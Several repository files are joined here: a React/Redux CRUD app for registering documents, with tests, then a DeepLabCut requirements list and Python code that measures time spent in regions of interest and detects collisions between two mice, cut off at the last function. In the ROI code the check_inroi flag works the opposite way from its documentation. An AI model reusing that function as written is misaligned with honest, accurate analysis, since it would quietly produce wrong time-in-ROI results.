import { colors as colorsBase } from '~/styles';
const sizes = {
default: css`
height: 36px;
font-size: 14px;
`,
small: css`
height: 28px;
font-size: 12px;
`,
big: css`
height: 44px;
font-size: 18px;
`,
};
const colors = {
white: css`
border-color: ${colorsBase.light};
color: ${colorsBase.light};
&:hover {
border-color: ${colorsBase.light};
color: ${colorsBase.light};
}
`,
default: css`
border-color: ${colorsBase.default};
color: ${colorsBase.default};
&:hover {
border-color: ${colorsBase.dark};
color: ${colorsBase.dark};
}
`,
};
const Button = styled.button.attrs({
type: 'button',
})`
display: inline-block;
font-weight: 400;
text-align: center;
white-space: nowrap;
vertical-align: middle;
border: 1px solid transparent;
padding: .375rem .75rem;
border-radius: .25rem;
background-color: transparent;
${props => sizes[props.size || 'default']}
${props => colors[props.color || 'default']}
`;
export default Button;
<file_sep>import React from 'react';
import { ConnectedRouter } from 'connected-react-router';
import { Switch, Route } from 'react-router-dom';
import history from './history';
import Documentos from '~/pages/documentos';
import FormDocumentos from '~/pages/formDocumentos';
const Routes = () => (
<ConnectedRouter history={history}>
<Switch>
<Route exact path="/" component={Documentos} />
<Route exact path="/documentos/create" component={FormDocumentos} />
<Route path="/documentos/:codigo" component={FormDocumentos} />
<Route component={Documentos} />
</Switch>
</ConnectedRouter>
);
export default Routes;
<file_sep>import styled from 'styled-components';
import { colors as colorsBase } from '~/styles';
const Bar = styled.div`
display: flex;
justify-content: space-between;
align-items: center;
background: ${colorsBase.primary};
padding: .75rem;
svg {
color: ${colorsBase.light};
font-size: 1.5rem;
padding-right: 10px;
}
`;
export default Bar;
<file_sep>import React from 'react';
import { shallow } from 'enzyme';
import { MemoryRouter } from 'react-router-dom';
import createStore from 'redux-mock-store';
import Documentos from '../documentos';
import { Creators as DocumentosActions } from '~/store/ducks/documentos';
const mockStore = createStore();
describe('Documentos component', () => {
const INITIAL_STATE = {
loading: false,
documentos: {
data: [
{
codigo: '1',
title: 'Documento teste 1',
departamento: [],
categoria: [],
date: '2019-01-01',
},
],
},
};
let store;
let wrapper;
beforeEach(() => {
store = mockStore(INITIAL_STATE);
wrapper = shallow(
<MemoryRouter>
<Documentos />
</MemoryRouter>,
{ context: { store } },
);
});
it('Should be able to render', () => {
expect(wrapper.find(Documentos).length).toEqual(1);
});
it('Check Prop matches with initialState', () => {
expect(store.getState()).toEqual(INITIAL_STATE);
});
fit('Should be able to remove a document', () => {
const { documentos: { data } } = INITIAL_STATE;
store.dispatch(DocumentosActions.deleteDocumentosSuccess(data[0].codigo));
expect(store.getActions()).toContainEqual(
DocumentosActions.deleteDocumentosSuccess(data[0].codigo),
);
});
});
<file_sep>import React from 'react';
import { mount } from 'enzyme';
import Loading from '../Loading';
describe('Loading component', () => {
it('should render as expected', () => {
const wrapper = mount(<Loading />);
expect(wrapper.find('FaSpinner')).toHaveLength(1);
});
});
<file_sep>import { combineReducers } from 'redux';
import { reducer as toastrReducer } from 'react-redux-toastr';
import { connectRouter } from 'connected-react-router';
import documentos from './documentos';
import departamentos from './departamentos';
import categorias from './categorias';
export default history => combineReducers({
documentos,
departamentos,
categorias,
toastr: toastrReducer,
router: connectRouter(history),
});
<file_sep>Listagem:

Cadastro:

## História de usuário
Eu como coordenador de projetos, preciso definir documentos de procedimento padrão para que minha equipe siga este padrão.
**RF: Requisitos funcionais**
**1. Cadastro de documentos**
1. O sistema deve permitir o cadastro, edição e exclusão de documentos com os campos código, título, departamento e categoria. (RN1, RN2, RN4)
2. O usuário deve receber feedback de sucesso ou erro.
3. O sistema deve conter as seguintes categorias pré-definidas: “Procedimentos
operacionais”, “Formulários padrões”, “Planejamento de processo”.
4. O sistema deve conter os seguintes departamentos pré-definidos:
“Desenvolvimento”, “Comercial”, “Suporte”.
5. Deve ser permitido selecionar um ou mais departamentos.
**2. Consulta de documentos**
1. O sistema deve permitir listar os documentos com as colunas código, data de cadastro, título, departamento e categoria. (RN3)
RN: Regra de negócio
1. Todos os campos são obrigatórios.
2. O campo código deve aceitar números e letras.
3. A listagem de documentos deve ser organizada de forma alfabética pela coluna título.
4. O código do documento é único.
## Requisito não funcional
1. Utilizar frontend React
2. Não necessita back-end, utilize o estado em memória da aplicação 3. Aplicar testes unitários em pelo menos uma situação
4. A interface visual deve ser responsiva
<file_sep>import React from 'react';
import { Provider } from 'react-redux';
import ReduxToaster from 'react-redux-toastr';
import { BrowserRouter } from 'react-router-dom';
import { PersistGate } from 'redux-persist/integration/react';
import '~/config/reactotron';
import Routes from '~/routes';
import { store, persistor } from '~/store';
import GlobalStyle from '~/styles/global';
import { Wrapper, Container } from './styles';
// persistor.purge();
const App = () => (
<Provider store={store}>
<PersistGate loading={<p>Loading</p>} persistor={persistor}>
<GlobalStyle />
<ReduxToaster
position="top-center"
transitionIn="fadeIn"
transitionOut="fadeOut"
progressBar
/>
<BrowserRouter>
<Wrapper>
<Container>
<Routes />
</Container>
</Wrapper>
</BrowserRouter>
</PersistGate>
</Provider>
);
export default App;
<file_sep>export const Types = {
GET_REQUEST: 'categorias/GET_REQUEST',
GET_SUCCESS: 'categorias/GET_SUCCESS',
};
const INITIAL_STATE = {
data: [
{
id: 1,
name: 'Procedimentos operacionais',
},
{
id: 2,
name: '<NAME>',
},
{
id: 3,
name: 'Planejamento de processo',
},
],
loading: true,
};
export default function categorias(state = INITIAL_STATE, action) {
switch (action.type) {
case Types.GET_REQUEST:
return { ...state, loading: true };
case Types.GET_SUCCESS:
return { data: state.data, loading: false };
default:
return state;
}
}
export const Creators = {
getCategoriasRequest: () => ({
type: Types.GET_REQUEST,
}),
getCategoriasSuccess: () => ({
type: Types.GET_SUCCESS,
}),
};
<file_sep>import { put, select, call } from 'redux-saga/effects';
import { toastr } from 'react-redux-toastr';
import { push } from 'connected-react-router';
import _ from 'lodash';
import { Creators as DocumentosActions } from '~/store/ducks/documentos';
function* sort() {
const documentos = yield select(state => state.documentos.data);
const newOrder = _.sortBy(documentos, 'title');
return newOrder;
}
function* codigoExists(codigo, ignore) {
const documentos = yield select(state => state.documentos.data);
const exists = documentos.filter((documento) => {
if (String(ignore) === String(documento.codigo)) return false;
return documento.codigo === codigo;
});
return exists.length > 0;
}
export function* getDocumentos() {
try {
// Aqui ficaria como se fosse feita a request para o servidor
const documentos = yield call(sort);
yield put(DocumentosActions.getDocumentosSuccess(documentos));
} catch (err) {
yield call(toastr.error, 'Erro', 'Não foi possivel obter a lista de documentos');
}
}
export function* postDocumentos(action) {
try {
const documento = action.payload.data;
const exists = yield call(codigoExists, documento.codigo);
if (!exists) {
// chama API para salvar nos servidor
yield call(toastr.success, 'Sucesso', 'Seu documento foi registrado');
yield put(DocumentosActions.postDocumentosSuccess(documento));
yield put(push('/'));
} else {
yield call(toastr.error, 'Erro', 'O código informado em em uso');
}
} catch (err) {
yield call(toastr.error, 'Erro', 'Não foi possivel registrar o documento');
}
}
export function* putDocumentos(action) {
try {
const documento = action.payload.data;
const { codigo } = action.payload;
const exists = yield call(codigoExists, documento.codigo, codigo);
if (!exists) {
// chama API para atualizar nos servidor
yield call(toastr.success, 'Sucesso', 'Seu documento foi atualizado');
yield put(DocumentosActions.putDocumentosSuccess(documento, codigo));
yield put(push('/'));
} else {
yield call(toastr.error, 'Erro', 'O código informado em em uso');
}
} catch (err) {
yield call(toastr.error, 'Erro', 'Não foi possivel atualizar o documento');
}
}
export function* deleteDocumentos(action) {
try {
const documento = action.payload.data;
// chama API para deletar nos servidor
yield call(toastr.success, 'Sucesso', 'Seu documento foi removido');
yield put(DocumentosActions.deleteDocumentosSuccess(documento.codigo));
} catch (err) {
yield call(toastr.error, 'Erro', 'Não foi possivel remover o documento');
}
}
<file_sep>import { css } from 'styled-components';
import { colors as colorsBase } from '~/styles';
export const ContainerArrayCSS = css`
padding: .5rem;
background: ${colorsBase.lighter};
justify-content: space-between;
align-items: center;
margin-top: .7rem;
border-left: 3px solid ${colorsBase.primary}
`;
export const TitleArrayCSS = css`
font-size: 1rem;
`;
<file_sep>import { createGlobalStyle } from 'styled-components';
import { colors as colorsBase } from '~/styles';
import 'react-redux-toastr/lib/css/react-redux-toastr.min.css';
const GlobalStyle = createGlobalStyle`
* {
margin: 0;
padding: 0;
box-sizing: border-box;
outline: 0;
}
html, body, #root {
height: 100%;
}
body {
text-rendering: optimizeLegibility !important;
-webkit-font-smoothing: antialiased !important;
font-family: 'Montserrat', sans-serif;
}
input, select {
display: block;
width: 100%;
padding: .375rem .75rem;
font-size: 1rem;
line-height: 1.5;
color: ${colorsBase.dark};
background-color: #fff;
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background-clip: padding-box;
border-radius: 0;
border: 1px solid ${colorsBase.lighter};
}
button {
cursor: pointer;
}
a {
cursor: pointer;
}
.table-responsive {
display: block;
width: 100%;
overflow-x: auto;
}
`;
export default GlobalStyle;
<file_sep>import React from 'react';
import { shallow } from 'enzyme';
import ListArrayItens from '../ListArrayItens';
describe('ListArrayItens component', () => {
const props = {
data: [
{
id: 1,
name: 'teste1',
},
{
id: 2,
name: 'teste2',
},
],
params: {
id: 'id',
label: 'name',
},
};
it('should render as expected', () => {
const wrapper = shallow(<ListArrayItens {...props} />);
expect(wrapper.find('.itemListArrayItens')).toHaveLength(2);
});
});
<file_sep>import React from 'react';
import { shallow } from 'enzyme';
import createStore from 'redux-mock-store';
import FormDocumentos from '../formDocumentos';
import { Creators as DocumentosActions } from '~/store/ducks/documentos';
const mockStore = createStore();
const newDocumentos = {
codigo: '12',
title: 'Teste pelo Enzyme',
date: '2019-01-18',
departamento: [
{
id: 1,
name: 'Desenvolvimento',
},
],
categoria: [
{
id: 1,
name: 'Procedimentos operacionais',
},
],
};
describe('FormDocumentos component', () => {
const INITIAL_STATE = {
match: {
params: {},
},
documentos: {
data: [],
},
};
let store;
let wrapper;
function hackToFormik() {
return new Promise((resolve) => {
setTimeout(resolve, 0);
});
}
beforeEach(() => {
store = mockStore(INITIAL_STATE);
wrapper = shallow(<FormDocumentos match={INITIAL_STATE.match} values={newDocumentos} />, {
context: { store },
});
});
it('Should be able to add a new document', async () => {
wrapper
.dive()
.dive()
.find('FormDocumentos')
.dive()
.find('#btnSave')
.simulate('click');
await hackToFormik();
expect(store.getActions()).toContainEqual(
DocumentosActions.postDocumentosRequest(newDocumentos),
);
});
});
<file_sep>import React, { Fragment } from 'react';
import PropTypes from 'prop-types';
import { Container, Title } from './styles';
const ListArrayItens = ({
data, params, customComponent, css,
}) => (
<Fragment>
{
data.map((item) => {
const id = item[params.id];
const label = item[params.label];
return (
<Container className="itemListArrayItens" key={id} css={css}>
<Title css={css}>
{label}
</Title>
{customComponent(item)}
</Container>
);
})
}
</Fragment>
);
ListArrayItens.propTypes = {
data: PropTypes.arrayOf(PropTypes.shape({})).isRequired,
params: PropTypes.shape({
id: PropTypes.string,
label: PropTypes.string,
}).isRequired,
css: PropTypes.shape({}),
customComponent: PropTypes.func,
};
ListArrayItens.defaultProps = {
customComponent: () => {},
css: {},
};
export default ListArrayItens;
<file_sep>import styled, { css } from 'styled-components';
import { colors as colorsBase } from '~/styles';
export const Container = styled.div`
padding: .5rem 0;
input, select {
${props => (props.error ? css`
border: 1px solid ${colorsBase.danger};
` : '')}
}
&:first-child {
padding-top: 0
}
`;
export const Error = styled.div`
background: ${colorsBase.danger};
color: ${colorsBase.dark};
padding: .3rem;
font-size: .8rem;
${props => (props.error ? css`
display: block;
` : css`
display: none;
`)}
`;
export const Title = styled.div`
display: inline-block;
margin-bottom: .5rem;
color: ${colorsBase.default};
font-size: .8rem
`;
<file_sep>import styled from 'styled-components';
import { colors as colorsBase } from '~/styles';
const Title = styled.h4`
font-weight: 500;
font-size: 1.5rem;
color: ${colorsBase.light};
`;
export default Title;
<file_sep>import React from 'react';
import { shallow } from 'enzyme';
import App from '../App';
import Routes from '~/routes';
describe('App component', () => {
it('should render as expected', () => {
const wrapper = shallow(<App />);
expect(wrapper.contains(<Routes />)).toBe(true);
});
});
<file_sep>import React from 'react';
import PropTypes from 'prop-types';
import { Container, Title, Error } from './styles';
import Loading from '~/components/Loading';
const Field = ({
children, title, loading, error,
}) => (
<Container error={error}>
<Title>{title}</Title>
<Error error={error}>
{error}
</Error>
{
loading
? <Loading />
: children
}
</Container>
);
Field.propTypes = {
error: PropTypes.string,
title: PropTypes.string.isRequired,
loading: PropTypes.bool,
children: PropTypes.oneOfType([
PropTypes.element,
PropTypes.arrayOf(PropTypes.element),
]).isRequired,
};
Field.defaultProps = {
loading: false,
error: '',
};
export default Field;
<file_sep>import { all, takeLatest } from 'redux-saga/effects';
import { Types as DocumentosTypes } from '~/store/ducks/documentos';
import { Types as CategoriasTypes } from '~/store/ducks/categorias';
import { Types as DepartamentosTypes } from '~/store/ducks/departamentos';
import {
getDocumentos, postDocumentos, deleteDocumentos, putDocumentos,
} from './documentos';
import { getCategorias } from './categorias';
import { getDepartamentos } from './departamentos';
export default function* rootSaga() {
yield all([
takeLatest(DocumentosTypes.GET_REQUEST, getDocumentos),
takeLatest(DocumentosTypes.POST_REQUEST, postDocumentos),
takeLatest(DocumentosTypes.PUT_REQUEST, putDocumentos),
takeLatest(DocumentosTypes.DELETE_REQUEST, deleteDocumentos),
takeLatest(CategoriasTypes.GET_REQUEST, getCategorias),
takeLatest(DepartamentosTypes.GET_REQUEST, getDepartamentos),
]);
}
<file_sep>import documentos, { Creators as DocumentosActions } from '../documentos';
const newDocumentos = {
codigo: 12,
title: 'Teste pelo Enzyme',
date: '2019-01-18',
departamento: [
{
id: 1,
name: 'Desenvolvimento',
},
],
categoria: [
{
id: 1,
name: 'Procedimentos operacionais',
},
],
};
const INITIAL_STATE = {
data: [
{
...newDocumentos,
codigo: 'ab',
title: 'Valor que ja estava na lista',
},
],
loading: false,
};
describe('Documentos Reducer', () => {
it('should be able to return a documentos', () => {
const state = documentos(INITIAL_STATE, DocumentosActions.getDocumentosRequest());
expect(state.data).toHaveLength(1);
});
it('should be able to add new documento', () => {
const state = documentos(INITIAL_STATE, DocumentosActions.postDocumentosSuccess(newDocumentos));
expect(state.data[1].title).toBe('Teste pelo Enzyme');
});
it('should be able to remove documento', () => {
const state = documentos(INITIAL_STATE, DocumentosActions.deleteDocumentosSuccess(1));
expect(state.data.length).toBe(1);
});
it('should be able to update documento', () => {
const state = documentos(INITIAL_STATE, DocumentosActions.putDocumentosSuccess(
{
...newDocumentos,
codigo: 22,
title: 'Atualizado',
},
'ab',
));
expect(state.data[0].title).toBe('Atualizado');
});
});
<file_sep>import Button from './Button';
import Bar from './Bar';
import Title from './Title';
export { Button, Bar, Title };
<file_sep>import styled, { css } from 'styled-components';
import { colors as colorsBase } from '~/styles';
export const ContainerArrayCSS = css`
justify-content: center;
align-items: center;
border-left: 3px solid ${colorsBase.primary};
margin-bottom: 5px;
padding-left: 2px;
background: ${colorsBase.lighter};
`;
export const Container = styled.div`
width: 100%;
flex-direction: column;
`;
export const DocumentosTable = styled.table`
width: 100%;
margin-bottom: 1rem;
background-color: transparent;
border-collapse: collapse;
display: table;
border-spacing: 2px;
border-color: grey;
thead {
display: table-header-group;
vertical-align: middle;
border-color: inherit;
th {
font-size: 11px;
letter-spacing: 1.11px;
font-weight: normal;
vertical-align: bottom;
border-bottom: 2px solid ${colorsBase.lighter};
border-top: 1px solid ${colorsBase.lighter};
padding: .75rem;
}
}
tbody {
font-size: 1rem;
font-weight: 400;
line-height: 1.5;
color: #212529;
text-align: left;
}
tr {
display: table-row;
vertical-align: inherit;
border-color: inherit;
}
td {
padding: .75rem;
vertical-align: top;
border-top: 1px solid ${colorsBase.lighter};
text-align: center;
svg {
cursor: pointer;
margin-left: 10px;
color: ${colorsBase.dark};
&:last-child {
margin-right: 0;
}
}
}
`;
<file_sep>import styled, { css } from 'styled-components';
export const Container = styled.div`
display: flex;
flex-direction: row;
${props => (props.css.container ? css`${props.css.container}` : '')}
`;
export const Title = styled.div`
font-size: 12px;
${props => (props.css.title ? css`${props.css.title}` : '')}
`;
<file_sep>import React, { Component, Fragment } from 'react';
import PropTypes from 'prop-types';
import { ContainerArrayCSS, TitleArrayCSS } from './styles';
import ListArrayItens from '~/components/ListArrayItens';
import { Button } from '~/styles/components';
export default class Departamentos extends Component {
static propTypes = {
setFieldValue: PropTypes.func.isRequired,
departamentos: PropTypes.shape({
data: PropTypes.arrayOf(PropTypes.shape({})),
loading: PropTypes.bool,
}),
values: PropTypes.shape({
codigo: PropTypes.string,
date: PropTypes.string,
title: PropTypes.string,
departamento: PropTypes.arrayOf(
PropTypes.shape({}),
),
}).isRequired,
};
static defaultProps = {
departamentos: [],
};
state = {
defaultDepartamento: '',
}
render() {
const {
setFieldValue, departamentos, values,
} = this.props;
const { defaultDepartamento } = this.state;
return (
<Fragment>
<select
name="departamento"
value={defaultDepartamento}
onChange={async (e) => {
const index = values.departamento.findIndex(
element => (
element.id === e.target.value ? element : false
),
);
if (index < 0) {
await setFieldValue(e.target.name, [
...values.departamento,
{
id: e.target.value,
name: e.target.selectedOptions[0].label,
},
]);
this.setState({ defaultDepartamento: '' });
}
}}
>
<option key={0} value="">Selecione</option>
{
departamentos.data.map(departamento => (
<option key={departamento.id} value={departamento.id}>{departamento.name}</option>
))
}
</select>
<ListArrayItens
data={values.departamento}
params={{
id: 'id',
label: 'name',
}}
css={{
container: ContainerArrayCSS,
title: TitleArrayCSS,
}}
customComponent={item => (
<Button
size="small"
color="default"
type="button"
onClick={() => {
const index = values.departamento.indexOf(item);
values.departamento.splice(index, 1);
setFieldValue('departamento', values.departamento);
}}
>
Remover
</Button>
)}
/>
</Fragment>
);
}
}
| baf9d34331ef8ae48dc0f4c02641908260c4fe45 | [
"JavaScript",
"Markdown"
] | 25 | JavaScript | henriqueweiand/reactjs-crud-state-test | 1f93baa79dffa7c01b57483bbcd5a1d106f7b32a | 79a18c56fb094d6902af08973a9baf6959c45997 |
refs/heads/master | <file_sep>absl-py==0.9.0
appnope==0.1.0
astor==0.8.1
backcall==0.1.0
certifi==2020.4.5.1
chardet==3.0.4
click==7.1.2
cycler==0.10.0
decorator==4.4.2
deeplabcut==2.1.7
easydict==1.9
gast==0.2.2
google-pasta==0.2.0
grpcio==1.28.1
h5py==2.10.0
idna==2.9
imageio==2.8.0
imageio-ffmpeg==0.4.1
imgaug==0.4.0
importlib-metadata==1.6.0
intel-openmp==2019.0
ipykernel==5.2.1
ipython==7.13.0
ipython-genutils==0.2.0
jedi==0.17.0
joblib==0.14.1
jupyter-client==6.1.3
jupyter-core==4.6.3
Keras-Applications==1.0.8
Keras-Preprocessing==1.1.0
kiwisolver==1.2.0
Markdown==3.2.1
matplotlib==3.0.3
moviepy==1.0.1
msgpack==1.0.0
msgpack-numpy==0.4.5
networkx==2.4
numexpr==2.7.1
numpy==1.16.4
opencv-python==3.4.9.33
opt-einsum==3.2.1
pandas==1.0.3
parso==0.7.0
path==13.2.0
patsy==0.5.1
pexpect==4.8.0
pickleshare==0.7.5
Pillow==7.1.2
proglog==0.1.9
prompt-toolkit==3.0.5
protobuf==3.11.3
psutil==5.7.0
ptyprocess==0.6.0
Pygments==2.6.1
pyparsing==2.4.7
python-dateutil==2.8.1
pytz==2020.1
PyWavelets==1.1.1
PyYAML==5.3.1
pyzmq==19.0.0
requests==2.23.0
ruamel.yaml==0.16.10
ruamel.yaml.clib==0.2.0
scikit-image==0.16.2
scikit-learn==0.22.2.post1
scipy==1.4.1
Shapely==1.7.0
six==1.14.0
statsmodels==0.11.1
tables==3.6.1
tabulate==0.8.7
tensorboard==1.15.0
tensorflow==1.15.0
tensorflow-estimator==1.15.1
tensorpack==0.10.1
termcolor==1.1.0
tornado==6.0.4
tqdm==4.45.0
traitlets==4.3.3
urllib3==1.25.9
wcwidth==0.1.9
Werkzeug==1.0.1
wrapt==1.12.1
wxPython==4.1.0
zipp==3.1.0
<file_sep>import pandas as pd
from pathlib import Path
import numpy as np
import os
import matplotlib.pyplot as plt
import cv2
import math
from collections import namedtuple
from scipy.spatial import distance
import pandas as pd
import argparse
"""
Functions to extract time spent by the mouse in each of a list of user defined ROIS
Contributed by <NAME>
https://github.com/FedeClaudi
Example usage:
rois --> a dictionary with name and position of each roi
tracking --> a pandas dataframe with X,Y,Velocity for each bodypart
bodyparts --> a list with the name of all the bodyparts
-----------------------------------------------------------------------------------
results = {}
for bp in bodyparts:
bp_tracking = np.array((tracking.bp.x.values, tracking.bp.y.values, tracking.bp.Velocity.values))
res = get_timeinrois_stats(bp_tracking, roi, fps=30)
results[bp] = res
------------------------------------------------------------------------------------
if Velocity is not know, it can be calculated using "calc_distance_between_points_in_a_vector_2d":
vel = calc_distance_between_points_in_a_vector_2d(np.array(tracking.bp.x.values, tracking.bp.y.values))
which returns a 1d vector with the velocity in pixels/frame [effectively the number pixels a tracked point moved
from one frame to the next]
"""
def calc_distance_between_points_in_a_vector_2d(v1):
'''calc_distance_between_points_in_a_vector_2d [for each consecutive pair of points, p1-p2, in a vector, get euclidian distance]
This function can be used to calculate the velocity in pixel/frame from tracking data (X,Y coordinates)
Arguments:
v1 {[np.array]} -- [2d array, X,Y position at various timepoints]
Raises:
ValueError
Returns:
[np.array] -- [1d array with distance at each timepoint]
>>> v1 = [0, 10, 25, 50, 100]
>>> d = calc_distance_between_points_in_a_vector_2d(v1)
'''
# Check data format
if isinstance(v1, dict) or not np.any(v1) or v1 is None:
raise ValueError(
'Feature not implemented: cant handle with data format passed to this function')
# If pandas series were passed, try to get numpy arrays
try:
v1, v2 = v1.values, v2.values
except: # all good
pass
# loop over each pair of points and extract distances
dist = []
for n, pos in enumerate(v1):
# Get a pair of points
if n == 0: # get the position at time 0, velocity is 0
p0 = pos
dist.append(0)
else:
p1 = pos # get position at current frame
# Calc distance
dist.append(np.abs(distance.euclidean(p0, p1)))
# Prepare for next iteration, current position becomes the old one and repeat
p0 = p1
return np.array(dist)
def get_roi_at_each_frame(bp_data, rois, check_inroi):
"""
Given position data for a bodypart and the position of a list of rois, this function calculates which roi is
the closest to the bodypart at each frame
:param bp_data: numpy array: [nframes, 3] -> X,Y,Speed position of bodypart at each frame
[as extracted by DeepLabCut] --> df.bodypart.values.
:param rois: dictionary with the position of each roi. The position is stored in a named tuple with the location of
two points defyining the roi: topleft(X,Y) and bottomright(X,Y).
:param check_inroi: boolean, default True. If true only counts frames in which the tracked point is inside of a ROI.
Otherwise at each frame it counts the closest ROI.
:return: tuple, closest roi to the bodypart at each frame
"""
def sort_roi_points(roi):
return np.sort([roi.topleft[0], roi.bottomright[0]]), np.sort([roi.topleft[1], roi.bottomright[1]])
if not isinstance(rois, dict): raise ValueError('rois locations should be passed as a dictionary')
if not isinstance(bp_data, np.ndarray):
if not isinstance(bp_data, tuple): raise ValueError('Unrecognised data format for bp tracking data')
else:
pos = np.zeros((len(bp_data.x), 2))
pos[:, 0], pos[:, 1] = bp_data.x, bp_data.y
bp_data = pos
# Get the center of each roi
centers = []
for points in rois.values():
center_x = (points.topleft[0] + points.bottomright[0]) / 2
center_y = (points.topleft[1] + points.bottomright[1]) / 2
center = np.asarray([center_x, center_y])
centers.append(center)
roi_names = list(rois.keys())
# Calc distance to each roi for each frame
data_length = bp_data.shape[0]
distances = np.zeros((data_length, len(centers)))
for idx, center in enumerate(centers):
cnt = np.tile(center, data_length).reshape((data_length, 2))
dist = np.hypot(np.subtract(cnt[:, 0], bp_data[:, 0]), np.subtract(cnt[:, 1], bp_data[:, 1]))
distances[:, idx] = dist
# Get which roi is closest at each frame
sel_rois = np.argmin(distances, 1)
roi_at_each_frame = tuple([roi_names[x] for x in sel_rois])
# Check if the tracked point is actually in the closest ROI
if not check_inroi:
cleaned_rois = []
for i, roi in enumerate(roi_at_each_frame):
x,y = bp_data[i, 0], bp_data[i, 1]
X, Y = sort_roi_points(rois[roi]) # get x,y coordinates of roi points
if not X[0] <= x <= X[1] or not Y[0] <= y <= Y[1]:
cleaned_rois.append('none')
else:
cleaned_rois.append(roi)
return cleaned_rois
else:
print("Warning: you've set check_inroi=False, so data reflect which ROI is closest even if tracked point is not in any given ROI.")
return roi_at_each_frame
def get_timeinrois_stats(data, rois, fps=None, returndf=False, check_inroi=True):
"""
Quantify number of times the animal enters a roi, cumulative number of frames spend there, cumulative time in seconds
spent in the roi and average velocity while in the roi.
In which roi the mouse is at a given frame is determined with --> get_roi_at_each_frame()
Quantify the ammount of time in each roi and the avg stay in each roi
:param data: trackind data is a numpy array with shape (n_frames, 3) with data for X,Y position and Speed. If [n_frames, 2]
array is passed, speed is calculated automatically.
:param rois: dictionary with the position of each roi. The position is stored in a named tuple with the location of
two points defyining the roi: topleft(X,Y) and bottomright(X,Y).
:param fps: framerate at which video was acquired
:param returndf: boolean, default False. If true data are returned as a DataFrame instead of dict.
:param check_inroi: boolean, default True. If true only counts frames in which the tracked point is inside of a ROI.
Otherwise at each frame it counts the closest ROI.
:return: dictionary or dataframe
# Testing
>>> position = namedtuple('position', ['topleft', 'bottomright'])
>>> rois = {'middle': position((300, 400), (500, 800))}
>>> data = np.zeros((23188, 3))
>>> res = get_timeinrois_stats(data, rois, fps=30)
>>> print(res)
"""
def get_indexes(lst, match):
return np.asarray([i for i, x in enumerate(lst) if x == match])
# Check arguments
if data.shape[1] == 2: # only X and Y tracking data passed, calculate speed
speed = calc_distance_between_points_in_a_vector_2d(data)
data = np.hstack((data, speed.reshape((len(speed), 1))))
elif data.shape[1] != 3:
raise ValueError("Tracking data should be passed as either an Nx2 or Nx3 array. Tracking data shape was: {}. Maybe you forgot to transpose the data?".format(data.shape))
roi_names = [k.lower() for k in list(rois.keys())]
if "none" in roi_names:
raise ValueError("No roi can have name 'none', that's reserved for the code to use, please use a different name for your rois.")
if "tot" in roi_names:
raise ValueError("No roi can have name 'tot', that's reserved for the code to use, please use a different name for your rois.")
# get roi at each frame of data
data_rois = get_roi_at_each_frame(data, rois, check_inroi)
# print(data_rois)
data_time_inrois = {name: data_rois.count(name) for name in set(data_rois)} # total time (frames) in each roi
# number of enters in each roi
transitions = [n for i, n in enumerate(list(data_rois)) if i == 0 or n != list(data_rois)[i - 1]]
transitions_count = {name: transitions.count(name) for name in transitions}
# avg time spend in each roi (frames)
avg_time_in_roi = {transits[0]: time / transits[1]
for transits, time in zip(transitions_count.items(), data_time_inrois.values())}
# avg time spend in each roi (seconds)
if fps is not None:
data_time_inrois_sec = {name: t / fps for name, t in data_time_inrois.items()}
avg_time_in_roi_sec = {name: t / fps for name, t in avg_time_in_roi.items()}
else:
data_time_inrois_sec, avg_time_in_roi_sec = None, None
# get avg velocity in each roi
avg_vel_per_roi = {}
for name in set(data_rois):
indexes = get_indexes(data_rois, name)
vels = data[indexes, 2]
avg_vel_per_roi[name] = np.average(np.asarray(vels))
# get comulative
transitions_count['tot'] = np.sum(list(transitions_count.values()))
data_time_inrois['tot'] = np.sum(list(data_time_inrois.values()))
data_time_inrois_sec['tot'] = np.sum(list(data_time_inrois_sec.values()))
avg_time_in_roi['tot'] = np.sum(list(avg_time_in_roi.values()))
avg_time_in_roi_sec['tot'] = np.sum(list(avg_time_in_roi_sec.values()))
avg_vel_per_roi['tot'] = np.sum(list(avg_vel_per_roi.values()))
if returndf:
roinames = sorted(list(data_time_inrois.keys()))
results = pd.DataFrame.from_dict({
"ROI_name": roinames,
"transitions_per_roi": [transitions_count[r] for r in roinames],
"cumulative_time_in_roi": [data_time_inrois[r] for r in roinames],
"cumulative_time_in_roi_sec": [data_time_inrois_sec[r] for r in roinames],
"avg_time_in_roi": [avg_time_in_roi[r] for r in roinames],
"avg_time_in_roi_sec": [avg_time_in_roi_sec[r] for r in roinames],
"avg_vel_in_roi": [avg_vel_per_roi[r] for r in roinames],
})
else:
results = dict(transitions_per_roi=transitions_count,
cumulative_time_in_roi=data_time_inrois,
cumulative_time_in_roi_sec=data_time_inrois_sec,
avg_time_in_roi=avg_time_in_roi,
avg_time_in_roi_sec=avg_time_in_roi_sec,
avg_vel_in_roi=avg_vel_per_roi)
return results
def euclidean_distance(pt1, pt2):
(x1,y1) = pt1
(x2,y2) = pt2
return math.sqrt((x1-x2)**2 + (y1-y2)**2)
def get_distances(m1, m2):
distances= np.zeros(shape=(4,4))
for i in range(4):
for j in range(4):
distances[i][j]= euclidean_distance(m1[i],m2[j])
return distances
def detect_collisions(distances, threshold):
for k in distances:
for j in k:
if j <threshold:
return True
return False
def get_centroid(m):
(s,l,r,t) = m
x = (s[0] + l[0] + r[0] + t[0])//4
y = (s[1] + l[1] + r[1] + t[1])//4
return(x,y)
def get_roi_of_collision(distances, m1 ,m2):
ind = np.unravel_index(np.argmin(distances, axis=None), distances.shape)
pt1 = m1[ind[0]]
pt2 = m2[ind[1]]
collisioncenter = ((pt1[0] + pt2[0])//2, (pt1[1] +pt2[1])//2)
m1_dist = euclidean_distance(get_centroid(m1), collisioncenter)
m2_dist = euclidean_distance(get_centroid(m2), collisioncenter)
dimension = min(m1_dist, m2_dist)
(x,y,w,h) = (collisioncenter[0]-(dimension//2), collisioncenter[1]-(dimension//2), dimension, dimension)
return (x,y,w,h)
def getpoints(tablerow):
return ((tablerow["snout"]["x"],tablerow["snout"]["y"]), (tablerow["leftear"]["x"], tablerow["leftear"]["y"]), (tablerow["rightear"]["x"],tablerow["rightear"]["y"]), (tablerow["tailbase"]["x"], tablerow["tailbase"]["y"]))
def in_roi(m, roi):
for i in m:
x1,y1 = i
(x,y,w,h) = roi
if ( x1> x and x1< x+w and y1> y and y1< y+h):
return True
return False
def most_recent_entry(m1, m2, collision_roi, i):
for j in range(i, 0,-1):
if(in_roi(m1, collision_roi)and in_roi(m2,collision_roi)):
continue
elif (in_roi(m1, collision_roi) == True and in_roi(m2, collision_roi)==False):
return 2
else:
return 1
return 0
def get_collision_records(dfJerry,dfMickey, DLCscorer_Jerry,DLCscorer_Mickey,save_name):
